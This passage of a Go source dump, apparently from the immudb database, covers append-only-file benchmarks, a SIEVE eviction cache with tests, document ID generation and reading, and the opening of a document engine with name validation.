n, err := app.Append([]byte{1, 2, 3}) require.NoError(t, err) err = app.DiscardUpto(off + int64(n)) require.NoError(t, err) err = app.Close() require.NoError(t, err) } func BenchmarkAppendFlush(b *testing.B) { opts := DefaultOptions(). WithRetryableSync(false). WithWriteBuffer(make([]byte, DefaultWriteBufferSize)) app, err := Open(filepath.Join(b.TempDir(), "testdata_benchmark_flush.aof"), opts) require.NoError(b, err) b.ResetTimer() chunck := make([]byte, 512) for i := 0; i < b.N; i++ { for j := 1; j <= 1000; j++ { _, _, err = app.Append(chunck) require.NoError(b, err) err = app.Flush() require.NoError(b, err) } } err = app.Close() require.NoError(b, err) } func BenchmarkAppendFlushless(b *testing.B) { opts := DefaultOptions(). WithRetryableSync(false). WithWriteBuffer(make([]byte, DefaultWriteBufferSize*16)) app, err := Open(filepath.Join(b.TempDir(), "testdata_benchmark_flushless.aof"), opts) require.NoError(b, err) b.ResetTimer() chunck := make([]byte, 512) for i := 0; i < b.N; i++ { for j := 1; j <= 1000; j++ { _, _, err = app.Append(chunck) require.NoError(b, err) } } err = app.Close() require.NoError(b, err) } ================================================ FILE: embedded/cache/cache.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "container/list" "errors" "fmt" "sync" "sync/atomic" ) var ( ErrIllegalArguments = errors.New("illegal arguments") ErrKeyNotFound = errors.New("key not found") ErrIllegalState = errors.New("illegal state") ErrCannotEvictItem = errors.New("cannot find an item to evict") ) type EvictFilterFunc func(key interface{}, value interface{}) bool type EvictCallbackFunc func(key, value interface{}) // Cache implements the SIEVE cache replacement policy. type Cache struct { data map[interface{}]*entry hand *list.Element list *list.List weight int maxWeight int mutex sync.RWMutex canEvict EvictFilterFunc onEvict EvictCallbackFunc } type entry struct { value interface{} visited uint32 weight int order *list.Element } func NewCache(maxWeight int) (*Cache, error) { if maxWeight < 1 { return nil, ErrIllegalArguments } return &Cache{ data: make(map[interface{}]*entry), list: list.New(), weight: 0, maxWeight: maxWeight, onEvict: nil, canEvict: nil, }, nil } func (c *Cache) SetCanEvict(canEvict EvictFilterFunc) { c.mutex.Lock() defer c.mutex.Unlock() c.canEvict = canEvict } func (c *Cache) SetOnEvict(onEvict EvictCallbackFunc) { c.mutex.Lock() defer c.mutex.Unlock() c.onEvict = onEvict } func (c *Cache) Resize(newWeight int) { c.mutex.Lock() defer c.mutex.Unlock() for c.weight > newWeight { key, entry, _ := c.evict() if c.onEvict != nil { c.onEvict(key, entry.value) } c.weight -= entry.weight } c.maxWeight = newWeight } func (c *Cache) Put(key interface{}, value interface{}) (interface{}, interface{}, error) { return c.PutWeighted(key, value, 1) } func (c *Cache) PutWeighted(key interface{}, value interface{}, weight int) (interface{}, interface{}, error) { c.mutex.Lock() defer c.mutex.Unlock() return c.put(key, value, weight, 0) } func (c *Cache) put(key interface{}, value interface{}, weight int, visited uint32) (interface{}, interface{}, error) { if key == nil || value == nil || weight == 0 || weight > c.maxWeight { return nil, nil, ErrIllegalArguments } e, ok := c.data[key] if ok { if c.weight-e.weight+weight > c.maxWeight { c.pop(key) return c.put(key, value, weight, 1) } c.weight = c.weight - e.weight + weight e.visited = 1 e.value = value e.weight = weight return nil, nil, nil } evictedKey, evictedValue, err := c.evictWhileFull(weight) if err != nil { return nil, nil, err } c.weight += weight c.data[key] = &entry{ value: value, visited: visited, weight: weight, order: c.list.PushFront(key), } return evictedKey, evictedValue, nil } func (c *Cache) evictWhileFull(weight int) (interface{}, interface{}, error) { var rkey, rvalue interface{} for c.weight+weight > c.maxWeight { evictedKey, entry, err := c.evict() if err != nil { return nil, nil, err } rkey = evictedKey rvalue = entry.value if c.onEvict != nil { c.onEvict(rkey, rvalue) } c.weight -= entry.weight } return rkey, rvalue, nil } func (c *Cache) evict() (rkey interface{}, e *entry, err error) { if c.list.Len() == 0 { return nil, nil, fmt.Errorf("%w: evict requested in an empty cache", ErrIllegalState) } curr := c.hand for i := 0; i < 2*c.list.Len(); i++ { if curr == nil { curr = c.list.Back() } key := curr.Value e := c.data[key] if e.visited == 0 && c.shouldEvict(key, e.value) { c.hand = curr.Prev() c.list.Remove(curr) delete(c.data, key) return key, e, nil } e.visited = 0 curr = curr.Prev() } return nil, nil, ErrCannotEvictItem } func (c *Cache) shouldEvict(key, value interface{}) bool { return c.canEvict == nil || c.canEvict(key, value) } func (c *Cache) Get(key interface{}) (interface{}, error) { if key == nil { return nil, ErrIllegalArguments } c.mutex.RLock() defer c.mutex.RUnlock() e, ok := c.data[key] if !ok { return nil, ErrKeyNotFound } atomic.StoreUint32(&e.visited, 1) return e.value, nil } func (c *Cache) Pop(key interface{}) (interface{}, error) { if key == nil { return nil, ErrIllegalArguments } c.mutex.Lock() defer c.mutex.Unlock() return c.pop(key) } func (c *Cache) pop(key interface{}) (interface{}, error) { e, ok := c.data[key] if !ok { return nil, ErrKeyNotFound } if c.hand == e.order { c.hand = c.hand.Prev() } c.list.Remove(e.order) delete(c.data, key) c.weight -= e.weight return e.value, nil } func (c *Cache) Replace(k interface{}, v interface{}) (interface{}, error) { if k == nil { return nil, ErrIllegalArguments } c.mutex.Lock() defer c.mutex.Unlock() e, ok := c.data[k] if !ok { return nil, ErrKeyNotFound } oldV := e.value e.value = v return oldV, nil } func (c *Cache) Weight() int { c.mutex.Lock() defer c.mutex.Unlock() return c.weight } func (c *Cache) Available() int { c.mutex.Lock() defer c.mutex.Unlock() return c.maxWeight - c.weight } func (c *Cache) MaxWeight() int { c.mutex.Lock() defer c.mutex.Unlock() return c.maxWeight } func (c *Cache) EntriesCount() int { c.mutex.Lock() defer c.mutex.Unlock() return c.list.Len() } func (c *Cache) Apply(fun func(k interface{}, v interface{}) error) error { c.mutex.Lock() defer c.mutex.Unlock() for k, e := range c.data { err := fun(k, e.value) if err != nil { return err } } return nil } ================================================ FILE: embedded/cache/cache_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "errors" "math/rand" "testing" "time" "github.com/stretchr/testify/require" ) func setupCache(t *testing.T) *Cache { rand.Seed(time.Now().UnixNano()) size := 10 + rand.Intn(100) cache, err := NewCache(size) require.NoError(t, err) return cache } func TestCacheCreation(t *testing.T) { _, err := NewCache(0) require.ErrorIs(t, err, ErrIllegalArguments) cacheSize := 10 cache, err := NewCache(cacheSize) require.NoError(t, err) require.NotNil(t, cache) require.Equal(t, cacheSize, cache.MaxWeight()) _, _, err = cache.evict() require.Error(t, err) _, err = cache.Get(nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = cache.Put(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) for i := 0; i < cacheSize; i++ { _, _, err = cache.Put(i, 10*i) require.NoError(t, err) } for i := cacheSize; i > 0; i-- { v, err := cache.Get(i - 1) require.NoError(t, err) require.Equal(t, v, 10*(i-1)) } for i := cacheSize; i < cacheSize+cacheSize/2; i++ { _, _, err = cache.Put(i, 10*i) require.NoError(t, err) _, _, err = cache.Put(i, 10*i) require.NoError(t, err) } for i := 0; i < cacheSize/2; i++ { _, err := cache.Get(i) require.ErrorIs(t, err, ErrKeyNotFound) } for i := cacheSize / 2; i < cacheSize; i++ { v, err := cache.Get(i) require.NoError(t, err, ErrKeyNotFound) require.Equal(t, v, 10*i) } for i := cacheSize; i < cacheSize+cacheSize/2; i++ { v, err := cache.Get(i) require.NoError(t, err) require.Equal(t, v, 10*i) } } func TestEvictionPolicy(t *testing.T) { fillCache := func(cache *Cache) { for i := 0; i < cache.MaxWeight(); i++ { key, value, err := cache.Put(i, i+1) require.NoError(t, err) require.Nil(t, key) require.Nil(t, value) } } t.Run("should evict multiple items", func(t *testing.T) { cache := setupCache(t) fillCache(cache) el := rand.Intn(cache.MaxWeight()) _, _, err := cache.PutWeighted(cache.MaxWeight(), cache.MaxWeight()+1, el+1) require.NoError(t, err) require.Equal(t, cache.Weight(), cache.EntriesCount()+el) require.Equal(t, cache.MaxWeight()-el, cache.EntriesCount()) }) t.Run("should evict non visited items", func(t *testing.T) { t.Run("starting from element at middle", func(t *testing.T) { cache := setupCache(t) fillCache(cache) el := rand.Intn(cache.MaxWeight()) for i := 0; i < el; i++ { _, err := cache.Get(i) require.NoError(t, err) } for i := el; i < cache.MaxWeight(); i++ { key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, i%cache.maxWeight, key) } }) t.Run("at even positions", func(t *testing.T) { cache := setupCache(t) fillCache(cache) for i := 0; i < (cache.MaxWeight()+1)/2; i++ { _, err := cache.Get(2 * i) require.NoError(t, err) } for i := 0; i < cache.MaxWeight()/2; i++ { key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, key, 2*i+1) } }) t.Run("starting from back", func(t *testing.T) { cache := setupCache(t) fillCache(cache) n := 1 + rand.Intn(cache.MaxWeight()-1) for i := 0; i < n; i++ { key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, key, i) } }) }) t.Run("should evict visited items", func(t *testing.T) { cache := setupCache(t) fillCache(cache) for i := 0; i < cache.MaxWeight(); i++ { _, err := cache.Get(i) require.NoError(t, err) } n := 1 + rand.Intn(cache.MaxWeight()-1) for i := 0; i < n; i++ { key, _, err := cache.Put(cache.MaxWeight()+i, cache.MaxWeight()+i+1) require.NoError(t, err) require.Equal(t, key, i) } }) } func TestApply(t *testing.T) { cacheSize := 10 cache, err := NewCache(cacheSize) require.NoError(t, err) require.NotNil(t, cache) require.Equal(t, cacheSize, cache.MaxWeight()) for i := 0; i < cacheSize; i++ { _, _, err = cache.Put(i, 10*i) require.NoError(t, err) } c := 0 err = cache.Apply(func(k, v interface{}) error { c++ return nil }) require.NoError(t, err) require.Equal(t, cacheSize, c) err = cache.Apply(func(k, v interface{}) error { return errors.New("expected error") }) require.Error(t, err) } func TestPop(t *testing.T) { cacheSize := 10 cache, err := NewCache(cacheSize) require.NoError(t, err) for i := 0; i < cacheSize; i++ { _, _, err = cache.Put(i, 10*i) require.NoError(t, err) } poppedKey := 5 val, err := cache.Pop(poppedKey) require.NoError(t, err) require.Equal(t, 10*poppedKey, val) c := 0 err = cache.Apply(func(k, v interface{}) error { require.NotEqual(t, 10*poppedKey, v) c++ return nil }) require.NoError(t, err) require.Equal(t, cacheSize-1, c) val, err = cache.Pop(-1) require.ErrorIs(t, err, ErrKeyNotFound) require.Nil(t, val) val, err = cache.Pop(nil) require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, val) } func TestReplace(t *testing.T) { cacheSize := 10 cache, err := NewCache(cacheSize) require.NoError(t, err) for i := 0; i < cacheSize; i++ { _, _, err = cache.Put(i, 10*i) require.NoError(t, err) } replacedKey := 5 val, err := cache.Replace(replacedKey, 9999) require.NoError(t, err) require.Equal(t, 10*replacedKey, val) c := 0 err = cache.Apply(func(k, v interface{}) error { if k == replacedKey { require.Equal(t, 9999, v) } c++ return nil }) require.NoError(t, err) require.Equal(t, cacheSize, c) val, err = cache.Replace(-1, 9998) require.ErrorIs(t, err, ErrKeyNotFound) require.Nil(t, val) val, err = cache.Replace(nil, 9997) require.ErrorIs(t, err, ErrIllegalArguments) require.Nil(t, val) } func TestCacheResizing(t *testing.T) { initialCacheSize := 10 cache, err := NewCache(initialCacheSize) require.NoError(t, err) require.NotNil(t, cache) require.Equal(t, initialCacheSize, cache.MaxWeight()) for i := 0; i < initialCacheSize; i++ { rkey, _, err := cache.Put(i, i) require.NoError(t, err) require.Nil(t, rkey) } // cache growing largerCacheSize := 20 cache.Resize(largerCacheSize) require.Equal(t, largerCacheSize, cache.MaxWeight()) for i := 0; i < initialCacheSize; i++ { v, err := cache.Get(i) require.NoError(t, err) require.Equal(t, i, v) } for i := initialCacheSize; i < largerCacheSize; i++ { rkey, _, err := cache.Put(i, i) require.NoError(t, err) require.Nil(t, rkey) } // cache shrinking cache.Resize(initialCacheSize) require.Equal(t, initialCacheSize, cache.MaxWeight()) for i := 0; i < initialCacheSize; i++ { _, err = cache.Get(i) require.NoError(t, err) } for i := initialCacheSize; i < largerCacheSize; i++ { _, err = cache.Get(i) require.ErrorIs(t, err, ErrKeyNotFound) } } func TestPutWeighted(t *testing.T) { t.Run("should evict entries according to weight", func(t *testing.T) { cache, err := NewCache(1024 * 1024) // 1MB require.NoError(t, err) weights := make([]int, 0, 1000) expectedWeight := 0 n := 0 currWeight := 100 + rand.Intn(1024) for cache.Weight()+currWeight <= cache.MaxWeight() { k, v, err := cache.PutWeighted(n, n, currWeight) require.NoError(t, err) require.Nil(t, k) require.Nil(t, v) expectedWeight += currWeight weights = append(weights, currWeight) currWeight = 100 + rand.Intn(1024) n++ } require.Equal(t, expectedWeight, cache.Weight()) require.Equal(t, n, cache.EntriesCount()) weight := currWeight + rand.Intn(cache.Weight()-currWeight+1) expectedEvictedWeight := 0 expectedEntriesCount := 0 for i, w := range weights { expectedEvictedWeight += w if expectedEvictedWeight+cache.Available() >= weight { expectedEntriesCount = n - i break } } _, _, err = cache.PutWeighted(n+1, n+1, weight) require.NoError(t, err) require.Equal(t, expectedEntriesCount, cache.EntriesCount()) require.Equal(t, expectedWeight-expectedEvictedWeight+weight, cache.Weight()) }) t.Run("update existing item weight", func(t *testing.T) { cache, err := NewCache(5) require.NoError(t, err) _, _, err = cache.PutWeighted(1, 1, 0) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = cache.PutWeighted(1, 1, 10) require.ErrorIs(t, err, ErrIllegalArguments) cache.PutWeighted(1, 1, 2) cache.PutWeighted(2, 2, 3) require.Equal(t, 5, cache.Weight()) key, _, err := cache.PutWeighted(2, 2, 1) require.NoError(t, err) require.Nil(t, key) require.Equal(t, 3, cache.Weight()) require.Equal(t, 2, cache.EntriesCount()) key, _, err = cache.PutWeighted(2, 2, 4) require.NoError(t, err) require.Equal(t, key, 1) require.Equal(t, 4, cache.Weight()) require.Equal(t, 1, cache.EntriesCount()) }) } func TestOnEvict(t *testing.T) { cache, err := NewCache(5) require.NoError(t, err) var onEvictCalled int cache.SetOnEvict(func(_, value interface{}) { onEvictCalled++ }) for i := 0; i < 5; i++ { cache.Put(i, i) } require.Zero(t, onEvictCalled) _, _, err = cache.PutWeighted(6, 6, 3) require.NoError(t, err) require.Equal(t, onEvictCalled, 3) _, _, err = cache.PutWeighted(7, 7, 2) require.NoError(t, err) require.Equal(t, onEvictCalled, 5) cache.Resize(0) require.Equal(t, onEvictCalled, 7) } func TestCanEvict(t *testing.T) { cache, err := NewCache(5) require.NoError(t, err) for i := 0; i < 5; i++ { _, _, err := cache.Put(i, i) require.NoError(t, err) } t.Run("cannot evict any item", func(t *testing.T) { cache.SetCanEvict(func(_, _ interface{}) bool { return false }) _, _, err := cache.Put(6, 6) require.ErrorIs(t, err, ErrCannotEvictItem) }) t.Run("cannot evict any item", func(t *testing.T) { keyToEvict := rand.Intn(5) cache.SetCanEvict(func(key, _ interface{}) bool { return key == keyToEvict }) evictedKey, _, err := cache.Put(6, 6) require.NoError(t, err) require.Equal(t, evictedKey, keyToEvict) }) } ================================================ FILE: embedded/document/document_id.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "crypto/rand" "encoding/binary" "encoding/hex" "fmt" "io" "sync/atomic" "time" ) /* DocumentID is a 16-byte identifier that is automatically generated by the server upon document insertion if not provided. The 16-byte DocumentID is composed of: 1) A 4-byte timestamp value, representing the time the document was created, measured in seconds since the Unix epoch. 2) A 8-byte value, initialized to the previous transaction id. 3) A 4-byte incremental counter value, generated using a secure random number generator. The timestamp portion of the DocumentID allows documents to be sorted by creation time, which can be useful for certain types of queries. The tx id portions of the DocumentID ensure that the identifier is unique across all documents in a collection, even if multiple documents are inserted in the same second. The 4-byte value ensures randomness. */ // GeneratedDocIDLength is the length of a DocumentID. const GeneratedDocIDLength = 16 const MaxDocumentIDLength = 32 // DocumentID is an identifier that is automatically generated by the server upon document insertion if not provided. type DocumentID []byte // documentIDCounter is a counter used to generate unique monotically incremental number for the document id. var documentIDCounter = getRandUint32() // NewDocumentIDFromTx generates a new DocumentID. func NewDocumentIDFromTx(txID uint64) DocumentID { return NewDocumentIDFromTimestamp(time.Now(), txID) } // NewDocumentIDFromTimestamp generates a new DocumentID from a timestamp. func NewDocumentIDFromTimestamp(timestamp time.Time, txID uint64) DocumentID { var b [GeneratedDocIDLength]byte // The first 4 bytes are the timestamp. binary.BigEndian.PutUint32(b[0:4], uint32(timestamp.Unix())) // The next 8 bytes are the precommitted transaction id. binary.BigEndian.PutUint64(b[4:12], txID) // The next 4 bytes are the monotically increasing number. counter := atomic.AddUint32(&documentIDCounter, 1) binary.BigEndian.PutUint32(b[12:16], counter) return b[:] } // NewDocumentIDFromRawBytes generates a new DocumentID from a byte slice. func NewDocumentIDFromRawBytes(b []byte) (DocumentID, error) { if len(b) == 0 { return nil, ErrIllegalArguments } if len(b) > MaxDocumentIDLength { return nil, ErrMaxLengthExceeded } id := make([]byte, len(b)) copy(id, b) return id, nil } // NewDocumentIDFromHexEncodedString returns a DocumentID from a hex string. func NewDocumentIDFromHexEncodedString(hexEncodedDocID string) (DocumentID, error) { decodedLen := hex.DecodedLen(len(hexEncodedDocID)) buf := make([]byte, decodedLen) _, err := hex.Decode(buf, []byte(hexEncodedDocID)) if err != nil { return nil, err } return NewDocumentIDFromRawBytes(buf) } func getRandUint32() uint32 { var b [4]byte _, err := io.ReadFull(rand.Reader, b[:]) if err != nil { panic(fmt.Errorf("cannot initialize document id rand reader: %v", err)) } return binary.BigEndian.Uint32(b[:]) } // EncodeToHexString returns the hex representation of the DocumentID. func (id DocumentID) EncodeToHexString() string { return hex.EncodeToString(id) } // Timestamp returns the timestamp portion of the DocumentID. func (id DocumentID) Timestamp() time.Time { unixSecs := binary.BigEndian.Uint32(id[:]) return time.Unix(int64(unixSecs), 0).UTC() } ================================================ FILE: embedded/document/document_id_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "encoding/binary" "encoding/hex" "fmt" "sync/atomic" "testing" "time" "github.com/stretchr/testify/require" ) func TestDocumentID_WithTimestamp(t *testing.T) { tests := []struct { time string expectedTimeHex string }{ { "1970-01-01T00:00:00.000Z", "00000000", }, { "2038-01-19T03:14:07.000Z", "7fffffff", }, { "2038-01-19T03:14:08.000Z", "80000000", }, { "2106-02-07T06:28:15.000Z", "ffffffff", }, } layout := "2006-01-02T15:04:05.000Z" for _, test := range tests { time, err := time.Parse(layout, test.time) require.NoError(t, err) id := NewDocumentIDFromTimestamp(time, 0) fmt.Println(test.time, id.EncodeToHexString()) timeStr := hex.EncodeToString(id[0:4]) require.Equal(t, test.expectedTimeHex, timeStr) } } func TestDocumentID_FromDocumentHex(t *testing.T) { tests := []struct { hex string Expected string }{ { "0000000075b4f29e0000000000000000", "1970-01-01 00:00:00 +0000 UTC", }, { "7fffffffa7ec50600000000000000000", "2038-01-19 03:14:07 +0000 UTC", }, { "80000000441e18f90000000000000000", "2038-01-19 03:14:08 +0000 UTC", }, { "ffffffffb840d6030000000000000000", "2106-02-07 06:28:15 +0000 UTC", }, } for _, test := range tests { id, err := NewDocumentIDFromHexEncodedString(test.hex) require.NoError(t, err) genTime := id.Timestamp() require.Equal(t, test.Expected, genTime.String()) } } func TestDocumentID_IncrementalCounter(t *testing.T) { id := NewDocumentIDFromTx(0) counter := binary.BigEndian.Uint32(id[12:16]) for i := 0; i < 10; i++ { id = NewDocumentIDFromTx(0) newCounter := binary.BigEndian.Uint32(id[12:16]) require.Equal(t, atomic.AddUint32(&counter, 1), newCounter) } } func TestDocumentID_FromRawBytes(t *testing.T) { id := NewDocumentIDFromTx(1) b := []byte(id.EncodeToHexString()) _, err := NewDocumentIDFromRawBytes([]byte{}) require.ErrorIs(t, ErrIllegalArguments, err) _, err = NewDocumentIDFromRawBytes(b) require.NoError(t, err) b = append(b, byte(0)) _, err = NewDocumentIDFromRawBytes(b) require.ErrorIs(t, ErrMaxLengthExceeded, err) } func BenchmarkHex(b *testing.B) { id := NewDocumentIDFromTx(0) for i := 0; i < b.N; i++ { id.EncodeToHexString() } } ================================================ FILE: embedded/document/document_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "context" "errors" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/protomodel" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/types/known/structpb" ) type DocumentReader interface { // Read reads a single message from a reader and returns it as a Struct message. Read(ctx context.Context) (*protomodel.DocumentAtRevision, error) // ReadN reads n number of messages from a reader and returns them as a slice of Struct messages. ReadN(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) Close() error } type documentReader struct { rowReader sql.RowReader onCloseCallback func(reader DocumentReader) } func newDocumentReader(rowReader sql.RowReader, onCloseCallback func(reader DocumentReader)) DocumentReader { return &documentReader{ rowReader: rowReader, onCloseCallback: onCloseCallback, } } // ReadN reads n number of messages from a reader and returns them as a slice of Struct messages. func (r *documentReader) ReadN(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) { if count < 1 { return nil, sql.ErrIllegalArguments } revisions := make([]*protomodel.DocumentAtRevision, 0) var err error for l := 0; l < count; l++ { var row *sql.Row row, err = r.rowReader.Read(ctx) if errors.Is(err, sql.ErrNoMoreRows) { err = ErrNoMoreDocuments break } if err != nil { return nil, mayTranslateError(err) } docBytes := row.ValuesByPosition[0].RawValue().([]byte) doc := &structpb.Struct{} err = proto.Unmarshal(docBytes, doc) if err != nil { return nil, err } revisions = append(revisions, &protomodel.DocumentAtRevision{ TransactionId: 0, // TODO: not yet available Revision: 0, // TODO: not yet available Document: doc, }) } return revisions, err } func (r *documentReader) Close() error { if r.onCloseCallback != nil { defer r.onCloseCallback(r) } return r.rowReader.Close() } // Read reads a single message from a reader and returns it as a Struct message. func (r *documentReader) Read(ctx context.Context) (*protomodel.DocumentAtRevision, error) { var row *sql.Row row, err := r.rowReader.Read(ctx) if errors.Is(err, sql.ErrNoMoreRows) { err = ErrNoMoreDocuments } if err != nil { return nil, mayTranslateError(err) } docBytes := row.ValuesByPosition[0].RawValue().([]byte) doc := &structpb.Struct{} err = proto.Unmarshal(docBytes, doc) if err != nil { return nil, err } revision := &protomodel.DocumentAtRevision{ TransactionId: 0, // TODO: not yet available Revision: 0, // TODO: not yet available Document: doc, } return revision, err } ================================================ FILE: embedded/document/engine.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "bytes" "context" "errors" "fmt" "regexp" "strings" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "google.golang.org/protobuf/proto" "google.golang.org/protobuf/types/known/structpb" ) const ( DefaultDocumentIDField = "_id" DocumentBLOBField = "_doc" documentFieldPathSeparator = "." ) var reservedWords = map[string]struct{}{ "collection": {}, "field": {}, "index": {}, "document": {}, } var collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) var documentIDFieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) var fieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-.]*$`) type Engine struct { sqlEngine *sql.Engine maxNestedFields int } type EncodedDocument struct { TxID uint64 Revision uint64 // revision is only set when txID == 0 and info is fetch from the index KVMetadata *store.KVMetadata EncodedDocument []byte } func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { err := opts.Validate() if err != nil { return nil, err } sqlOpts := sql.DefaultOptions(). WithPrefix(opts.prefix). WithLazyIndexConstraintValidation(true) engine, err := sql.NewEngine(store, sqlOpts) if err != nil { return nil, err } return &Engine{ sqlEngine: engine, maxNestedFields: opts.maxNestedFields, }, nil } func validateCollectionName(collectionName string) error { _, isReservedWord := reservedWords[strings.ToLower(collectionName)] if isReservedWord { return fmt.Errorf("%w: invalid collection name '%s'", ErrReservedName, collectionName) } if !collectionNameValidation.MatchString(collectionName) { return fmt.Errorf("%w: invalid collection name '%s'", ErrIllegalArguments, collectionName) } return nil } func validateDocumentIdFieldName(documentIdFieldName string) error { _, isReservedWord := reservedWords[strings.ToLower(documentIdFieldName)] if isReservedWord { return fmt.Errorf("%w: invalid id field name '%s'", ErrReservedName, documentIdFieldName) } if documentIdFieldName == DocumentBLOBField { return fmt.Errorf("%w: invalid id field name '%s'", ErrReservedName, documentIdFieldName) } if !documentIDFieldNameValidation.MatchString(documentIdFieldName) { return fmt.Errorf("%w: invalid id field name '%s'", ErrIllegalArguments, documentIdFieldName) } return nil } func validateFieldName(fieldName string) error { _, isReservedWord := reservedWords[strings.ToLower(fieldName)] if isReservedWord { return fmt.Errorf("%w: invalid field name '%s'", ErrReservedName, fieldName) } if fieldName == DocumentBLOBField { return fmt.Errorf("%w: invalid field name '%s'", ErrReservedName, fieldName) } if !fieldNameValidation.MatchString(fieldName) { return fmt.Errorf("%w: invalid field name '%s'", ErrIllegalArguments, fieldName) } return nil } func (e *Engine) CreateCollection(ctx context.Context, username, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { err := validateCollectionName(name) if err != nil { return err } if documentIdFieldName == "" { documentIdFieldName = DefaultDocumentIDField } err = validateDocumentIdFieldName(documentIdFieldName) if err != nil { return err } // only catalog needs to be up to date opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return mayTranslateError(err) } defer sqlTx.Cancel() columns := make([]*sql.ColSpec, 2+len(fields)) // add primary key for document id columns[0] = sql.NewColSpec(documentIdFieldName, sql.BLOBType, MaxDocumentIDLength, false, true) // add columnn for blob, which stores the document as a whole columns[1] = sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false) for i, field := range fields { err = validateFieldName(field.Name) if err != nil { return err } if field.Name == documentIdFieldName { return fmt.Errorf("%w: id field name '%s' should not be specified", ErrIllegalArguments, field.Name) } sqlType, err := protomodelValueTypeToSQLValueType(field.Type) if err != nil { return err } colLen, err := sqlValueTypeDefaultLength(sqlType) if err != nil { return err } columns[i+2] = sql.NewColSpec(field.Name, sqlType, colLen, false, false) } _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{sql.NewCreateTableStmt( name, false, columns, []string{documentIdFieldName}, )}, nil, ) if err != nil { return mayTranslateError(err) } var indexStmts []sql.SQLStmt for _, index := range indexes { if len(index.Fields) == 0 { return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } if len(index.Fields) == 1 && index.Fields[0] == documentIdFieldName { if !index.IsUnique { return fmt.Errorf("%w: index on id field must be unique", ErrIllegalArguments) } // idField is the primary key and so the index is automatically created continue } for _, field := range index.Fields { err := validateFieldName(field) if err != nil { return err } } indexStmts = append(indexStmts, sql.NewCreateIndexStmt(name, index.Fields, index.IsUnique)) } // add indexes to collection if len(indexStmts) > 0 { _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, indexStmts, nil, ) if err != nil { return mayTranslateError(err) } } err = sqlTx.Commit(ctx) return mayTranslateError(err) } func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*protomodel.Collection, error) { opts := sql.DefaultTxOptions(). WithReadOnly(true). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) if err != nil { return nil, mayTranslateError(err) } defer sqlTx.Cancel() table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return nil, err } return collectionFromTable(table), nil } func (e *Engine) GetCollections(ctx context.Context) ([]*protomodel.Collection, error) { opts := 